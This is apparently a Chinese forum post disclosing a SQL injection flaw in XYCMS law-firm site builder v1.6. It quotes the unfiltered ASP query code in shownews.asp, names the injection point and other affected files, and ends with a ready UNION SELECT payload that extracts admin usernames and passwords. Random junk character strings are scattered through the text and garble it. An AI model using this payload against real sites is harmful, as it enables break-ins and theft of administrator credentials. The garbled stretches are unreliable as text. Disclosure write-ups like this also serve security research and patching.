XYCMS律师事务所建站系统注入漏洞

admin

前言：刚才蛋疼无聊下载了审计下,就稍微的看了下，漏洞太多。ps：跟有个投稿的板块文章有点类似

) ]4 S7 N- Q) i. ^0 Z9 r. ~5 X淫荡分割线
--------------------------------------------------------

9 I% p, r" X, b9 M审计版本：XYCMS律师事务所建站系统 v1.6(其他版本自测)
源码地址:http://down.chinaz.com/soft/29233.htm

漏洞文件:shownews.asp
+ H& _$ c% W2 e. V9 ?5 W漏洞代码：7-13行

* p6 E5 N4 F( P
<%
id=request.QueryString("id")
   
3 _: t0 C- H- x' Mset snews=server.createobject("adodb.recordset")
exec="select * from [news] where id="&id
5 j# D9 E. \: Y/ z: F1 \$ ksnews.open exec,conn,1,1
* i' ~3 P% {: [4 Q% m%>
: j. G  |7 E7 M5 _- V+ T
) y: u: A- g' }' b  X$ y
3 \. q: _0 M' i% F. H+ K2 r& }/ u- O什么过滤都没有  直造成注入
0 e- D: D, e$ y/ _/ C
* I. O* j4 I  G- m9 W2 n" ?( w注入点:http://127.0.0.1:99/shownews.asp?id=xx

其余相同漏洞文件:showdxal.asp,showfwly.asp 等等自己找
$ ?) x/ B( Q4 [3 S
1 j3 m4 _- g2 s" }* v! ~
) Z. Q+ N: k/ x; r+ N& Z9 Iexp: union select 1,admin,password,4,5,7 from admin_user
1 }- v" a) w% F/ |9 m5 g; }​
9 Z" {' {' P' I2 z